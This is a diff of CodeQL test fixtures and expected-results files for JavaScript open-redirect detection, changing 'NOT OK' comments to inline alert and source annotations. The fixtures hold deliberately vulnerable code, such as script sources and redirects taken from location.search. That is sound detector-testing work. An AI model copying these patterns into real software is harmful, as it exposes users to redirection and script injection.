+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst7.js
@@ -1,5 +1,3 @@
-// NOT OK
-new Worker(document.location.search.substring(1));
+new Worker(document.location.search.substring(1)); // $ Alert
 
-// NOT OK
-$("<script>").attr("src", document.location.search.substring(1));
+$("<script>").attr("src", document.location.search.substring(1)); // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst8.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst8.js
index 0e2610971b96..dd645602b327 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst8.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst8.js
@@ -1,6 +1,6 @@
 function k() {
   var search = window.location.search.substr(1);
-  // OK
+
   window.location = "https://github.com" + questionMark() + search;
 }
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst9.js b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst9.js
index bc3019d8ddcb..f00e024d950a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst9.js
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/tst9.js
@@ -1,2 +1 @@
-// NOT OK
-document.location = document.location.hash.substring(1)
+document.location = document.location.hash.substring(1) // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/typed.ts b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/typed.ts
index 143b11c1e8bb..0914a75d2cb5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/typed.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ClientSideUrlRedirect/typed.ts
@@ -1,11 +1,11 @@
 export class MyComponent {
     componentDidMount() {
         const { location }: { location: Location } = (this as any).props;
-        var params = location.search.substring(1);
+        var params = location.search.substring(1); // $ Source
         this.doRedirect(params);
     }
     private doRedirect(redirectUri: string) {
-        window.location.replace(redirectUri); // NOT OK
+        window.location.replace(redirectUri); // $ Alert
     }
 }
 
@@ -22,11 +22,11 @@ export class MyTrackingComponent {
     }
 
     private myIndirectRedirect(loc) { // type-tracking step 2 - also not the source
-        this.doRedirect(loc.search.substring(1));
+        this.doRedirect(loc.search.substring(1)); // $ Source
     }
 
     private doRedirect(redirectUri: string) {
-        window.location.replace(redirectUri); // NOT OK
+        window.location.replace(redirectUri); // $ Alert
     }
 }
 
@@ -44,15 +44,15 @@ export class WeirdTracking {
 
     private myIndirectRedirect(loc) { // type-tracking step 2 - also not the source
         const loc2: Location = (loc as any).componentDidMount;
-        this.doRedirect(loc.search.substring(1));
-        this.doRedirect2(loc2.search.substring(1));
+        this.doRedirect(loc.search.substring(1)); // $ Source
+        this.doRedirect2(loc2.search.substring(1)); // $ Source
     }
 
     private doRedirect(redirectUri: string) {
-        window.location.replace(redirectUri); // NOT OK
+        window.location.replace(redirectUri); // $ Alert
     }
 
     private doRedirect2(redirectUri: string) {
-        window.location.replace(redirectUri); // NOT OK
+        window.location.replace(redirectUri); // $ Alert
     }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.expected b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.expected
index 058a52a54e8a..34c12408de30 100644
--- a/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-601/ServerSideUrlRedirect/ServerSideUrlRedirect.expected
@@ -1,33 +1,65 @@
+#select
+| ServerSideUrlRedirect.js:4:16:4:34 | req.query["target"] | ServerSideUrlRedirect.js:4:16:4:34 | req.query["target"] | ServerSideUrlRedirect.js:4:16:4:34 | req.query["target"] | Untrusted URL redirection depends on a $@. | ServerSideUrlRedirect.js:4:16:4:34 | req.query["target"] | user-provided value |
+| ServerSideUrlRedirectGood2.js:18:18:18:23 | target | ServerSideUrlRedirectGood2.js:16:16:16:34 | req.query["target"] | ServerSideUrlRedirectGood2.js:18:18:18:23 | target | Untrusted URL redirection depends on a $@. | ServerSideUrlRedirectGood2.js:16:16:16:34 | req.query["target"] | user-provided value |
+| express.js:6:16:6:34 | req.param("target") | express.js:6:16:6:34 | req.param("target") | express.js:6:16:6:34 | req.param("target") | Untrusted URL redirection depends on a $@. | express.js:6:16:6:34 | req.param("target") | user-provided value |
+| express.js:10:26:10:44 | req.param("target") | express.js:10:26:10:44 | req.param("target") | express.js:10:26:10:44 | req.param("target") | Untrusted URL redirection depends on a $@. | express.js:10:26:10:44 | req.param("target") | user-provided value |
+| express.js:30:18:30:23 | target | express.js:25:16:25:34 | req.param("target") | express.js:30:18:30:23 | target | Untrusted URL redirection depends on a $@. | express.js:25:16:25:34 | req.param("target") | user-provided value |
+| express.js:31:16:31:21 | target | express.js:25:16:25:34 | req.param("target") | express.js:31:16:31:21 | target | Untrusted URL redirection depends on a $@. | express.js:25:16:25:34 | req.param("target") | user-provided value |
+| express.js:35:16:35:108 | (req.pa ... ntacts" | express.js:35:69:35:87 | req.param('action') | express.js:35:16:35:108 | (req.pa ... ntacts" | Untrusted URL redirection depends on a $@. | express.js:35:69:35:87 | req.param('action') | user-provided value |
+| express.js:68:16:68:43 | `${req. ... )}/foo` | express.js:68:19:68:37 | req.param("target") | express.js:68:16:68:43 | `${req. ... )}/foo` | Untrusted URL redirection depends on a $@. | express.js:68:19:68:37 | req.param("target") | user-provided value |
+| express.js:83:18:83:23 | target | express.js:77:16:77:34 | req.param("target") | express.js:83:18:83:23 | target | Untrusted URL redirection depends on a $@. | express.js:77:16:77:34 | req.param("target") | user-provided value |
+| express.js:89:16:89:21 | target | express.js:77:16:77:34 | req.param("target") | express.js:89:16:89:21 | target | Untrusted URL redirection depends on a $@. | express.js:77:16:77:34 | req.param("target") | user-provided value |
+| express.js:109:16:109:72 | [req.qu ... oin('') | express.js:109:17:109:30 | req.query.page | express.js:109:16:109:72 | [req.qu ... oin('') | Untrusted URL redirection depends on a $@. | express.js:109:17:109:30 | req.query.page | user-provided value |
+| express.js:113:16:113:22 | nextUrl | express.js:117:22:117:38 | req.query.nextUrl | express.js:113:16:113:22 | nextUrl | Untrusted URL redirection depends on a $@. | express.js:117:22:117:38 | req.query.nextUrl | user-provided value |
+| express.js:124:16:124:36 | '/' + r ... ms.user | express.js:124:22:124:36 | req.params.user | express.js:124:16:124:36 | '/' + r ... ms.user | Untrusted URL redirection depends on a $@. | express.js:124:22:124:36 | req.params.user | user-provided value |
+| express.js:125:16:125:37 | '//' +  ... ms.user | express.js:125:23:125:37 | req.params.user | express.js:125:16:125:37 | '//' +  ... ms.user | Untrusted URL redirection depends on a $@. | express.js:125:23:125:37 | req.params.user | user-provided value |
+| express.js:126:16:126:36 | 'u' + r ... ms.user | express.js:126:22:126:36 | req.params.user | express.js:126:16:126:36 | 'u' + r ... ms.user | Untrusted URL redirection depends on a $@. | express.js:126:22:126:36 | req.params.user | user-provided value |
+| express.js:133:16:133:28 | req.query.foo | express.js:133:16:133:28 | req.query.foo | express.js:133:16:133:28 | req.query.foo | Untrusted URL redirection depends on a $@. | express.js:133:16:133:28 | req.query.foo | user-provided value |
+| express.js:136:16:136:24 | query.foo | express.js:136:16:136:24 | query.foo | express.js:136:16:136:24 | query.foo | Untrusted URL redirection depends on a $@. | express.js:136:16:136:24 | query.foo | user-provided value |
+| express.js:145:18:145:23 | target | express.js:140:16:140:34 | req.param("target") | express.js:145:18:145:23 | target | Untrusted URL redirection depends on a $@. | express.js:140:16:140:34 | req.param("target") | user-provided value |
+| express.js:150:18:150:23 | target | express.js:140:16:140:34 | req.param("target") | express.js:150:18:150:23 | target | Untrusted URL redirection depends on a $@. | express.js:140:16:140:34 | req.param("target") | user-provided value |
+| express.js:155:16:155:22 | myThing | express.js:154:32:154:40 | req.query | express.js:155:16:155:22 | myThing | Untrusted URL redirection depends on a $@. | express.js:154:32:154:40 | req.query | user-provided value |
+| koa.js:7:15:7:17 | url | koa.js:6:12:6:27 | ctx.query.target | koa.js:7:15:7:17 | url | Untrusted URL redirection depends on a $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
+| koa.js:8:15:8:26 | `${url}${x}` | koa.js:6:12:6:27 | ctx.query.target | koa.js:8:15:8:26 | `${url}${x}` | Untrusted URL redirection depends on a $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
+| koa.js:14:16:14:18 | url | koa.js:6:12:6:27 | ctx.query.target | koa.js:14:16:14:18 | url | Untrusted URL redirection depends on a $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
+| koa.js:20:16:20:18 | url | koa.js:6:12:6:27 | ctx.query.target | koa.js:20:16:20:18 | url | Untrusted URL redirection depends on a $@. | koa.js:6:12:6:27 | ctx.query.target | user-provided value |
+| next.ts:11:31:11:50 | req.body.callbackUrl | next.ts:11:31:11:38 | req.body | next.ts:11:31:11:50 | req.body.callbackUrl | Untrusted URL redirection depends on a $@. | next.ts:11:31:11:38 | req.body | user-provided value |
+| node.js:6:34:6:39 | target | node.js:5:26:5:32 | req.url | node.js:6:34:6:39 | target | Untrusted URL redirection depends on a $@. | node.js:5:26:5:32 | req.url | user-provided value |
+| node.js:13:34:13:45 | '/' + target | node.js:10:26:10:32 | req.url | node.js:13:34:13:45 | '/' + target | Untrusted URL redirection depends on a $@. | node.js:10:26:10:32 | req.url | user-provided value |
+| node.js:29:34:29:55 | target  ... =" + me | node.js:27:26:27:32 | req.url | node.js:29:34:29:55 | target  ... =" + me | Untrusted URL redirection depends on a $@. | node.js:27:26:27:32 | req.url | user-provided value |
+| react-native.js:8:17:8:23 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:8:17:8:23 | tainted | Untrusted URL redirection depends on a $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
+| react-native.js:9:26:9:32 | tainted | react-native.js:7:17:7:33 | req.param("code") | react-native.js:9:26:9:32 | tainted | Untrusted URL redirection depends on a $@. | react-native.js:7:17:7:33 | req.param("code") | user-provided value |
 edges
 | ServerSideUrlRedirectGood2.js:16:7:16:34 | target | ServerSideUrlRedirectGood2.js:18:18:18:23 | target | provenance |  |
 | ServerSideUrlRedirectGood2.js:16:16:16:34 | req.query["target"] | ServerSideUrlRedirectGood2.js:16:7:16:34 | target | provenance |  |
-| express.js:27:7:27:34 | target | express.js:30:18:30:23 | target | provenance |  |
-| express.js:27:7:27:34 | target | express.js:33:18:33:23 | target | provenance |  |
-| express.js:27:7:27:34 | target | express.js:35:16:35:21 | target | provenance |  |
-| express.js:27:16:27:34 | req.param("target") | express.js:27:7:27:34 | target | provenance |  |
-| express.js:40:69:40:87 | req.param('action') | express.js:40:16:40:108 | (req.pa ... ntacts" | provenance |  |
-| express.js:74:19:74:37 | req.param("target") | express.js:74:16:74:43 | `${req. ... )}/foo` | provenance |  |
-| express.js:83:7:83:34 | target | express.js:90:18:90:23 | target | provenance |  |
-| express.js:83:7:83:34 | target | express.js:97:16:97:21 | target | provenance |  |
-| express.js:83:16:83:34 | req.param("target") | express.js:83:7:83:34 | target | provenance |  |
-| express.js:118:16:118:63 | [req.qu ... ection] | express.js:118:16:118:72 | [req.qu ... oin('') | provenance |  |
-| express.js:118:16:118:63 | [req.qu ... ection] [0] | express.js:118:16:118:72 | [req.qu ... oin('') | provenance |  |
-| express.js:118:17:118:30 | req.query.page | express.js:118:16:118:63 | [req.qu ... ection] | provenance |  |
-| express.js:118:17:118:30 | req.query.page | express.js:118:16:118:63 | [req.qu ... ection] [0] | provenance |  |
-| express.js:118:17:118:30 | req.query.page | express.js:118:16:118:72 | [req.qu ... oin('') | provenance |  |
-| express.js:134:22:134:36 | req.params.user | express.js:134:16:134:36 | '/' + r ... ms.user | provenance |  |
-| express.js:135:23:135:37 | req.params.user | express.js:135:16:135:37 | '//' +  ... ms.user | provenance |  |
-| express.js:136:22:136:36 | req.params.user | express.js:136:16:136:36 | 'u' + r ... ms.user | provenance |  |
-| express.js:150:7:150:34 | target | express.js:155:18:155:23 | target | provenance |  |
-| express.js:150:7:150:34 | target | express.js:160:18:160:23 | target | provenance |  |
-| express.js:150:16:150:34 | req.param("target") | express.js:150:7:150:34 | target | provenance |  |
-| express.js:164:7:164:54 | myThing | express.js:165:16:165:22 | myThing | provenance |  |
-| express.js:164:7:164:54 | myThing [ArrayElement] | express.js:165:16:165:22 | myThing | provenance |  |
-| express.js:164:17:164:41 | JSON.st ... .query) | express.js:164:17:164:54 | JSON.st ... (1, -1) | provenance |  |
-| express.js:164:17:164:41 | JSON.st ... .query) | express.js:164:17:164:54 | JSON.st ... (1, -1) [ArrayElement] | provenance |  |
-| express.js:164:17:164:54 | JSON.st ... (1, -1) | express.js:164:7:164:54 | myThing | provenance |  |
-| express.js:164:17:164:54 | JSON.st ... (1, -1) [ArrayElement] | express.js:164:7:164:54 | myThing [ArrayElement] | provenance |  |
-| express.js:164:32:164:40 | req.query | express.js:164:17:164:41 | JSON.st ... .query) | provenance |  |
+| express.js:25:7:25:34 | target | express.js:30:18:30:23 | target | provenance |  |
+| express.js:25:7:25:34 | target | express.js:31:16:31:21 | target | provenance |  |
+| express.js:25:16:25:34 | req.param("target") | express.js:25:7:25:34 | target | provenance |  |
+| express.js:35:69:35:87 | req.param('action') | express.js:35:16:35:108 | (req.pa ... ntacts" | provenance |  |
+| express.js:68:19:68:37 | req.param("target") | express.js:68:16:68:43 | `${req. ... )}/foo` | provenance |  |
+| express.js:77:7:77:34 | target | express.js:83:18:83:23 | target | provenance |  |
+| express.js:77:7:77:34 | target | express.js:89:16:89:21 | target | provenance |  |
+| express.js:77:16:77:34 | req.param("target") | express.js:77:7:77:34 | target | provenance |  |
+| express.js:109:16:109:63 | [req.qu ... ection] | express.js:109:16:109:72 | [req.qu ... oin('') | provenance |  |
+| express.js:109:16:109:63 | [req.qu ... ection] [0] | express.js:109:16:109:72 | [req.qu ... oin('') | provenance |  |
+| express.js:109:17:109:30 | req.query.page | express.js:109:16:109:63 | [req.qu ... ection] | provenance |  |
+| express.js:109:17:109:30 | req.query.page | express.js:109:16:109:63 | [req.qu ... ection] [0] | provenance |  |
+| express.js:109:17:109:30 | req.query.page | express.js:109:16:109:72 | [req.qu ... oin('') | provenance |  |
+| express.js:112:29:112:35 | nextUrl | express.js:113:16:113:22 | nextUrl | provenance |  |
+| express.js:117:22:117:38 | req.query.nextUrl | express.js:112:29:112:35 | nextUrl | provenance |  |
+| express.js:124:22:124:36 | req.params.user | express.js:124:16:124:36 | '/' + r ... ms.user | provenance |  |
+| express.js:125:23:125:37 | req.params.user | express.js:125:16:125:37 | '//' +  ... ms.user | provenance |  |
+| express.js:126:22:126:36 | req.params.user | express.js:126:16:126:36 | 'u' + r ... ms.user | provenance |  |
+| express.js:140:7:140:34 | target | express.js:145:18:145:23 | target | provenance |  |
+| express.js:140:7:140:34 | target | express.js:150:18:150:23 | target | provenance |  |
+| express.js:140:16:140:34 | req.param("target") | express.js:140:7:140:34 | target | provenance |  |
+| express.js:154:7:154:54 | myThing | express.js:155:16:155:22 | myThing | provenance |  |
+| express.js:154:7:154:54 | myThing [ArrayElement] | express.js:155:16:155:22 | myThing | provenance |  |
+| express.js:154:17:154:41 | JSON.st ... .query) | express.js:154:17:154:54 | JSON.st ... (1, -1) | provenance |  |
+| express.js:154:17:154:41 | JSON.st ... .query) | express.js:154:17:154:54 | JSON.st ... (1, -1) [ArrayElement] | provenance |  |
+| express.js:154:17:154:54 | JSON.st ... (1, -1) | express.js:154:7:154:54 | myThing | provenance |  |
+| express.js:154:17:154:54 | JSON.st ... (1, -1) [ArrayElement] | express.js:154:7:154:54 | myThing [ArrayElement] | provenance |  |
+| express.js:154:32:154:40 | req.query | express.js:154:17:154:41 | JSON.st ... .query) | provenance |  |
 | koa.js:6:6:6:27 | url | koa.js:7:15:7:17 | url | provenance |  |
 | koa.js:6:6:6:27 | url | koa.js:8:18:8:20 | url | provenance |  |
 | koa.js:6:6:6:27 | url | koa.js:14:16:14:18 | url | provenance |  |
@@ -38,60 +70,62 @@ edges
 | node.js:5:7:5:52 | target | node.js:6:34:6:39 | target | provenance |  |
 | node.js:5:16:5:39 | url.par ... , true) | node.js:5:7:5:52 | target | provenance |  |
 | node.js:5:26:5:32 | req.url | node.js:5:16:5:39 | url.par ... , true) | provenance |  |
-| node.js:10:7:10:52 | target | node.js:14:40:14:45 | target | provenance |  |
+| node.js:10:7:10:52 | target | node.js:13:40:13:45 | target | provenance |  |
 | node.js:10:16:10:39 | url.par ... , true) | node.js:10:7:10:52 | target | provenance |  |
 | node.js:10:26:10:32 | req.url | node.js:10:16:10:39 | url.par ... , true) | provenance |  |
-| node.js:14:40:14:45 | target | node.js:14:34:14:45 | '/' + target | provenance |  |
-| node.js:28:7:28:52 | target | node.js:31:34:31:39 | target | provenance |  |
-| node.js:28:16:28:39 | url.par ... , true) | node.js:28:7:28:52 | target | provenance |  |
-| node.js:28:26:28:32 | req.url | node.js:28:16:28:39 | url.par ... , true) | provenance |  |
-| node.js:31:34:31:39 | target | node.js:31:34:31:55 | target  ... =" + me | provenance |  |
+| node.js:13:40:13:45 | target | node.js:13:34:13:45 | '/' + target | provenance |  |
+| node.js:27:7:27:52 | target | node.js:29:34:29:39 | target | provenance |  |
+| node.js:27:16:27:39 | url.par ... , true) | node.js:27:7:27:52 | target | provenance |  |
+| node.js:27:26:27:32 | req.url | node.js:27:16:27:39 | url.par ... , true) | provenance |  |
+| node.js:29:34:29:39 | target | node.js:29:34:29:55 | target  ... =" + me | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:8:17:8:23 | tainted | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:9:26:9:32 | tainted | provenance |  |
 | react-native.js:7:17:7:33 | req.param("code") | react-native.js:7:7:7:33 | tainted | provenance |  |
 nodes
-| ServerSideUrlRedirect.js:5:16:5:34 | req.query["target"] | semmle.label | req.query["target"] |
+| ServerSideUrlRedirect.js:4:16:4:34 | req.query["target"] | semmle.label | req.query["target"] |
 | ServerSideUrlRedirectGood2.js:16:7:16:34 | target | semmle.label | target |
 | ServerSideUrlRedirectGood2.js:16:16:16:34 | req.query["target"] | semmle.label | req.query["target"] |
 | ServerSideUrlRedirectGood2.js:18:18:18:23 | target | semmle.label | target |
-| express.js:7:16:7:34 | req.param("target") | semmle.label | req.param("target") |
-| express.js:12:26:12:44 | req.param("target") | semmle.label | req.param("target") |
-| express.js:27:7:27:34 | target | semmle.label | target |
-| express.js:27:16:27:34 | req.param("target") | semmle.label | req.param("target") |
+| express.js:6:16:6:34 | req.param("target") | semmle.label | req.param("target") |
+| express.js:10:26:10:44 | req.param("target") | semmle.label | req.param("target") |
+| express.js:25:7:25:34 | target | semmle.label | target |
+| express.js:25:16:25:34 | req.param("target") | semmle.label | req.param("target") |
 | express.js:30:18:30:23 | target | semmle.label | target |
-| express.js:33:18:33:23 | target | semmle.label | target |
-| express.js:35:16:35:21 | target | semmle.label | target |
-| express.js:40:16:40:108 | (req.pa ... ntacts" | semmle.label | (req.pa ... ntacts" |
-| express.js:40:69:40:87 | req.param('action') | semmle.label | req.param('action') |
-| express.js:74:16:74:43 | `${req. ... )}/foo` | semmle.label | `${req. ... )}/foo` |
-| express.js:74:19:74:37 | req.param("target") | semmle.label | req.param("target") |
-| express.js:83:7:83:34 | target | semmle.label | target |
-| express.js:83:16:83:34 | req.param("target") | semmle.label | req.param("target") |
-| express.js:90:18:90:23 | target | semmle.label | target |
-| express.js:97:16:97:21 | target | semmle.label | target |
-| express.js:118:16:118:63 | [req.qu ... ection] | semmle.label | [req.qu ... ection] |
-| express.js:118:16:118:63 | [req.qu ... ection] [0] | semmle.label | [req.qu ... ection] [0] |
-| express.js:118:16:118:72 | [req.qu ... oin('') | semmle.label | [req.qu ... oin('') |
-| express.js:118:17:118:30 | req.query.page | semmle.label | req.query.page |
-| express.js:134:16:134:36 | '/' + r ... ms.user | semmle.label | '/' + r ... ms.user |
-| express.js:134:22:134:36 | req.params.user | semmle.label | req.params.user |
-| express.js:135:16:135:37 | '//' +  ... ms.user | semmle.label | '//' +  ... ms.user |
-| express.js:135:23:135:37 | req.params.user | semmle.label | req.params.user |
-| express.js:136:16:136:36 | 'u' + r ... ms.user | semmle.label | 'u' + r ... ms.user |
-| express.js:136:22:136:36 | req.params.user | semmle.label | req.params.user |
-| express.js:143:16:143:28 | req.query.foo | semmle.label | req.query.foo |
-| express.js:146:16:146:24 | query.foo | semmle.label | query.foo |
-| express.js:150:7:150:34 | target | semmle.label | target |
-| express.js:150:16:150:34 | req.param("target") | semmle.label | req.param("target") |
-| express.js:155:18:155:23 | target | semmle.label | target |
-| express.js:160:18:160:23 | target | semmle.label | target |
-| express.js:164:7:164:54 | myThing | semmle.label | myThing |
-| express.js:164:7:164:54 | myThing [ArrayElement] | semmle.label | myThing [ArrayElement] |
-| express.js:164:17:164:41 | JSON.st ... .query) | semmle.label | JSON.st ... .query) |
-| express.js:164:17:164:54 | JSON.st ... (1, -1) | semmle.label | JSON.st ... (1, -1) |
-| express.js:164:17:164:54 | JSON.st ... (1, -1) [ArrayElement] | semmle.label | JSON.st ... (1, -1) [ArrayElement] |
-| express.js:164:32:164:40 | req.query | semmle.label | req.query |
-| express.js:165:16:165:22 | myThing | semmle.label | myThing |
+| express.js:31:16:31:21 | target | semmle.label | target |
+| express.js:35:16:35:108 | (req.pa ... ntacts" | semmle.label | (req.pa ... ntacts" |
+| express.js:35:69:35:87 | req.param('action') | semmle.label | req.param('action') |
+| express.js:68:16:68:43 | `${req. ... )}/foo` | semmle.label | `${req. ... )}/foo` |
+| express.js:68:19:68:37 | req.param("target") | semmle.label | req.param("target") |
+| express.js:77:7:77:34 | target | semmle.label | target |
+| express.js:77:16:77:34 | req.param("target") | semmle.label | req.param("target") |
+| express.js:83:18:83:23 | target | semmle.label | target |
+| express.js:89:16:89:21 | target | semmle.label | target |
+| express.js:109:16:109:63 | [req.qu ... ection] | semmle.label | [req.qu ... ection] |
+| express.js:109:16:109:63 | [req.qu ... ection] [0] | semmle.label | [req.qu ... ection] [0] |
+| express.js:109:16:109:72 | [req.qu ... oin('') | semmle.label | [req.qu ... oin('') |
+| express.js:109:17:109:30 | req.query.page | semmle.label | req.query.page |
+| express.js:112:29:112:35 | nextUrl | semmle.label | nextUrl |
+| express.js:113:16:113:22 | nextUrl | semmle.label | nextUrl |
+| express.js:117:22:117:38 | req.query.nextUrl | semmle.label | req.query.nextUrl |
+| express.js:124:16:124:36 | '/' + r ... ms.user | semmle.label | '/' + r ... ms.user |
+| express.js:124:22:124:36 | req.params.user | semmle.label | req.params.user |
+| express.js:125:16:125:37 | '//' +  ... ms.user | semmle.label | '//' +  ... ms.user |
+| express.js:125:23:125:37 | req.params.user | semmle.label | req.params.user |
+| express.js:126:16:126:36 | 'u' + r ... ms.user | semmle.label | 'u' + r ... ms.user |
+| express.js:126:22:126:36 | req.params.user | semmle.label | req.params.user |
+| express.js:133:16:133:28 | req.query.foo | semmle.label | req.query.foo |
+| express.js:136:16:136:24 | query.foo | semmle.label | query.foo |
+| express.js:140:7:140:34 | target | semmle.label | target |
+| express.js:140:16:140:34 | req.param("target") | semmle.label | req.param("target") |
+| express.js:145:18:145:23 | target | semmle.label | target |
+| express.js:150:18:150:23 | target | semmle.label | target |
+| express.js:154:7:154:54 | myThing | semmle.label | myThing |
+| express.js:154:7:154:54 | myThing [ArrayElement] | semmle.label | myThing [ArrayElement] |
+| express.js:154:17:154:41 | JSON.st ... .query) | semmle.label | JSON.st ... .query) |
+| express.js:154:17:154:54 | JSON.st ... (1, -1) | semmle.label | JSON.st ... (1, -1) |
+| express.js:154:17:154:54 | JSON.st ... (1, -1) [ArrayElement] | semmle.label | JSON.st ... (1, -1) [ArrayElement] |
+| express.js:154:32:154:40 | req.query | semmle.label | req.query |
+| express.js:155:16:155:22 | myThing | semmle.label | myThing |
 | koa.js:6:6:6:27 | url | semmle.label | url |
 | koa.js:6:12:6:27 | ctx.query.target | semmle.label | ctx.query.target |
 | koa.js:7:15:7:17 | url | semmle.label | url |
@@ -108,46 +142,15 @@ nodes
 | node.js:10:7:10:52 | target | semmle.label | target |
 | node.js:10:16:10:39 | url.par ... , true) | semmle.label | url.par ... , true) |
 | node.js:10:26:10:32 | req.url | semmle.label | req.url |
-| node.js:14:34:14:45 | '/' + target | semmle.label | '/' + target |
-| node.js:14:40:14:45 | target | semmle.label | target |
-| node.js:28:7:28:52 | target | semmle.label | target |
-| node.js:28:16:28:39 | url.par ... , true) | semmle.label | url.par ... , true) |
-| node.js:28:26:28:32 | req.url | semmle.label | req.url |
-| node.js:31:34:31:39 | target | semmle.label | target |
-| node.js:31:34:31:55 | target  ... =" + me | semmle.label | target  ... =" + me |
+| node.js:13:34:13:45 | '/' + target | semmle.label | '/' + target |
+| node.js:13:40:13:45 | target | semmle.label | target |
+| node.js:27:7:27:52 | target | semmle.label | target |
+| node.js:27:16:27:39 | url.par ... , true) | semmle.label | url.par ... , true) |
+| node.js:27:26:27:32 | req.url | semmle.label | req.url |
+| node.js:29:34:29:39 | target | semmle.label | target |
+| node.js:29:34:29:55 | target  ... =" + me | semmle.label | target  ... =" + me |
 | react-native.js:7:7:7:33 | tainted | semmle.label | tainted |
 | react-native.js:7:17:7:33 | req.param("code") | semmle.label | req.param("code") |
 | react-native.js:8:17:8:23 | tainted | semmle.label | tainted |
 | react-native.js:9:26:9:32 | tainted | semmle.label | tainted |
 subpaths
-#select
-| ServerSideUrlRedirect.js:5:16:5:34 | req.query["target"] | ServerSideUrlRedirect.js:5:16:5:34 | req.query["target"] | ServerSideUrlRedirect.js:5:16:5:34 | req.query["target"] | Untrusted URL redirection depends on a $@. | ServerSideUrlRedirect.js:5:16:5:34 | req.query["target"] | user-provided value |
-| ServerSideUrlRedirectGood2.js:18:18:18:23 | target | ServerSideUrlRedirectGood2.js:16:16:16:34 | req.query["target"] | ServerSideUrlRedirectGood2.js:18:18:18:23 | target | Untrusted URL redirection depends on a $@. | ServerSideUrlRedirectGood2.js:16:16:16:34 | req.query["target"] | user-provided value |
-| express.js:7:16:7:34 | req.param("target") | express.js:7:16:7:34 | req.param("target") | express.js:7:16:7:34 | req.param("target") | Untrusted URL redirection depends on a $@. | express.js:7:16:7:34 | req.param("target") | user-provided value |
-| express.js:12:26:12:44 | req.param("target") | express.js:12:26:12:44 | req.param("target") | express.js:12:26:12:44 | req.param("target") | Untrusted URL redirection depends on a $@. | express.js:12:26:12:44 | req.param("target") | user-provided value |
-| express.js:30:18:30:23 | target | express.js:27:16:27:34 | req.param("target") | express.js:30:18:30:23 | target | Untrusted URL redirection depends on a $@. | express.js:27:16:27:34 | req.param("target") | user-provided value |
-| express.js:33:18:33:23 | target | express.js:27:16:27:34 | req.param("target") | express.js:33:18:33:23 | target | Untrusted URL redirection depends on a $@. | express.js:27:16:27:34 | req.param("target") | user-provided value |
-| express.js:35:16:35:21 | target | express.js:27:16:27:34 | req.param("target") | express.js:35:16:35:21 | target | Untrusted URL redirection depends on a $@. | express.js:27:16:27:34 | req.param("target") | user-provided value |
-| express.js:40:16:40:108 | (req.pa ... ntacts" | express.js:40:69:40:87 | req.param('action') | express.js:40:16:40:108 | (req.pa ... ntacts" | Untrusted URL redirection depends on a $@. | express.js:40:69:40:87 | req.param('action') | user-provided value |
-| express.js:74:16:74:43 | `${req. ... )}/foo` | express.js:74:19:74:37 | req.param("target") | express.js:74:16:74:43 | `${req. ... )}/foo` | Untrusted URL redirection depends on a $@. | express.js:74:19:74:37 | req.param("target") | user-provided value |
-| express.js:90:18:90:23 | target | express.js:83:16:83:34 | req.param("target") | express.js:90:18:90:23 | target | Untrusted URL redirection depends on a $@. | express.js:83:16:83:34 | req.param("target") | user-provided value |
-| express.js:97:16:97:21 | target | express.js:83:16:83:34 | req.param("target") | express.js:97:16:97:21 | target | Untrusted URL redirection depends on a $@. | express.js:83:16:83:34 | req.param("target") | user-provided value |
-| express.js:118:16:118:72 | [req.qu ... oin('') | express.js:118:17:118:30 | req.query.page | express.js:118:16:118:72 | [req.qu ... oin('') | Untrusted URL redirection depends on a $@. | express.js:118:17:118:30 | req.query.page | user-provided value |
-| express.js:134:16:134:36 | '/' + r ... ms.user | express.js:134:22:134:36 | req.params.user | express.js:134:16:134:36 | '/' + r ... ms.user | Untrusted URL redirection depends on a $@. | express.js:134:22:134:36 | req.params.user | user-provided value |
-| express.js:135:16:135:37 | '//' +  ... ms.user | express.js:135:23:135:37 | req.params.user | express.js:135:16:135:37 | '//' +  ... ms.user | Untrusted URL redirection depends on a $@. | express.js:135:23:135:37 | req.params.user | user-provided value |
-| express.js:136:16:136:36 | 'u' + r ... ms.user | express.js:136:22:136:36 | req.params.user | express.js:136:16:136:36 | 'u' + r ... ms.user | Untrusted URL redirection depends on a $@. | express.js:136:22:136:36 | req.params.user | user-provided value |
-| express.js:143:16:143:28 | req.query.foo | express.js:143:16:143:28 | req.query.foo | express.js:143:16:143:28 | req.query.foo | Untrusted URL redirection depends on a $@. | express.js:143:16:143:28 | req.query.foo | user-provided value |
-| express.js:146:16:146:24 | query.foo | express.js:146:16:146:24 | query.foo | express.js:146:16:146:24 | query.foo | Untrusted URL redirection depends on a $@. | express.js:146:16:146:24 | query.foo | user-provided value |
-| express.js:155:18:155:23 | target | express.js:150:16:150:34 | req.param("target") | express.js:155:18:155:23 | target | Untrusted URL redirection depends on a $@. | express.js:150:16:150:34 | req.param("target") | user-provided value |
